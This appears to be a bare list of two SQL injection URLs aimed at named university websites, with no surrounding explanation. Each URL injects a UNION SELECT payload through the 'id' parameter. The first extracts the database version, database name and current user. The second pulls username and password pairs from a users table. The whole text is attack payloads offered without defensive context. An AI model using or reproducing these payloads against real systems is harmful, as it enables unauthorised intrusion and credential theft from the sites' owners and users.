http://www.atlantic.edu/alumni/article.php?id=72+union+Select+1,aes_decrypt(aes_encrypt(concat(Version(),0x3a,Database(),0x3a,User()),0x71),0x71),3,4,5,6,7/*

http://reslife.rit.edu/publications/opendoor/article.php?id=-72+union+select+1,concat(username,0x3a,password),3+from+users--